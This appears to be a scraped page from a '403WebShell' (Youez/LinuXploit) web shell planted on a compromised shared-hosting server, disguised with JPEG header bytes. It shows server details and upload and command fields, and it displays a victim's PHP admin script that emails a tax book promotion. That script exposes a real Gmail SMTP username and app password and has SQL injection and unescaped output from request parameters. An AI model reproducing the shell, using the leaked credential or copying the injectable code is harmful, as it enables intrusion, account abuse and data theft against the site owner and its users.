ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.68
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/taxhyuvu/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/taxhyuvu/www/admin/aka_book_email.php
<?php
echo $Email = $_GET['email'];
 echo $reason = $_GET['reason'];

?>
<?php
require '/home/taxhyuvu/public_html/PHPMailer/src/Exception.php';
require '/home/taxhyuvu/public_html/PHPMailer/src/PHPMailer.php';
require '/home/taxhyuvu/public_html/PHPMailer/src/SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;



 // Make sure PHPMailer is installed via Composer
include_once "db.php";
// session_start();


if ($reason == "Books"){

    
    $Uquery = "SELECT * FROM `signup` WHERE `Email_Address`= '$Email' ";
    $Data = mysqli_query($con, $Uquery);
    $fk = mysqli_fetch_assoc($Data);
    $count = mysqli_num_rows($Data);
    
    if ($count == 1) {
      $Para1 = "<html><body style='font-family: Arial, sans-serif; color: #333; background-color: #f2f4f8; padding: 20px;'>";
$Para1 .= "<div style='max-width: 600px; margin: auto; background-color: #ffffff; padding: 30px; border-radius: 10px; box-shadow: 0 4px 12px rgba(0,0,0,0.1);'>";
$Para1 .= "<div style='text-align: center; margin-bottom: 20px;'><img src='https://taxhelplines.com.pk/Logo.png' alt='Tax Helpline Logo' style='height: 60px;'></div>";
$Para1 .= "<h2 style='color: #833732; text-align: center;'>We Have Launched a New Book </h2>";
$Para1 .= "<h3 style='color: teal; text-align: center; font-style: italic;'>Sales Tax Law and Practice</h3>";
$Para1 .= "<div style='text-align: center; margin: 20px 0;  background: linear-gradient(135deg, #e9f0ff, #ffffff); transition: transform 0.3s ease;'><img src='https://taxhelplines.com.pk/admin/sales_tax_book.png' alt='Sales Tax Book Cover' style=' max-width: 50%; border-radius: 8px; box-shadow: 0 6px 18px rgba(0,0,0,0.15);'></div>";
$Para1 .= "<p style='font-size: 15px; line-height: 1.6;'>Dive deep into the complexities of Pakistan Sales Tax system with our newly launched book <strong>\"Sales Tax Law and Practice\"</strong>. This comprehensive guide is tailored for tax professionals, accountants, legal practitioners, and business owners.</p>";
$Para1 .= "<div style='background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; margin: 20px 0;'>";
$Para1 .= "<p style='font-weight: bold;'>What's Inside:</p>";
$Para1 .= "<ul style='padding-left: 18px;'>";
$Para1 .= "<li>The Sales Tax Act, 1990</li>";
$Para1 .= "<li>Case Law and Citation</li>";
$Para1 .= "<li>Interpretations of statute</li>";
$Para1 .= "<li>Explanation and Comments</li>";
$Para1 .= "<li>The Sales Tax Rules, 2006 (updated)</li>";
$Para1 .= "<li>Important Notifications (SROs)</li>";
$Para1 .= "<li>Section-wise detail of SROs</li>";
$Para1 .= "<li>Questions & Answers, Problems & Solutions</li>";
$Para1 .= "</ul></div>";
$Para1 .= "<p style='text-align: center; font-style: italic; color: #555;'>Written by: <strong>TaxHelpLine Experts</strong><br>Over 20 years of experience in tax advisory.</p>";
$Para1 .= "<div style='text-align: center; margin: 25px 0;'>";
$Para1 .= "<a href='https://wa.me/923358778666' target='_blank' style='background-color: #26a0aa; color: #fff; padding: 12px 20px; text-decoration: none; border-radius: 6px;'>Order Your Copy Now</a>";
$Para1 .= "</div>";
$Para1 .= "<div style='text-align: center; margin-top: 30px; font-size: 14px;'>";
$Para1 .= "<p><strong> Contact Us:</strong></p>";
$Para1 .= "<p>Mobile (WhatsApp): <a href='https://wa.me/923358778666' style='color: teal; text-decoration: none;'>0335-8778666</a><br>";
$Para1 .= "Landline: <a href='tel:02132462161' style='color: teal; text-decoration: none;'>(021) 32462161</a></p>";
$Para1 .= "</div>";
$Para1 .= "</div></body></html>";


        
        $mail = new PHPMailer(true);
        
        try {
            // Server settings
            $mail->isSMTP();
            $mail->Host = 'smtp.gmail.com'; // Replace with your SMTP server
            $mail->SMTPAuth = true;
            $mail->Username = '786.taxhelpline@gmail.com'; // SMTP username
            $mail->Password = 'ckgd lkgx jysx qqhx'; // SMTP password
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
            $mail->Port = 587;
            
            // Recipients
            $mail->setFrom('info@taxhelplines.com.pk', 'TaxHelpline');
            $mail->addAddress($Email);
            
            // Content
            $mail->isHTML(true);
            $mail->Subject = $fk['Full_Name'] . ", We Have Launched a New Book Sales Tax Law and Practice";
            $mail->Body = $Para1;
            
            $mail->send();
            
          $book_email_count = $fk['book_email_count'] + 1;

                $pp = "UPDATE `signup` SET `book_email_count` = '$book_email_count' WHERE `Email_Address` = '$Email'";
                mysqli_query($con, $pp);

            
            echo '<script>alert("Email Has Been Sended Successfully ");</script>';
                     echo "<script>
          window.location.href = 'users';
        </script>";
            exit();
        } catch (Exception $e) {
            echo "<script>alert('Mailer Error: " . $mail->ErrorInfo . "');</script>";
        }
    } else {
        echo '<script>alert("Wrong Email. Kindly enter the correct email.");</script>';
    }
}


// subscription mail content has been end here




































?>

Youez - 2016 - github.com/yon3zu
LinuXploit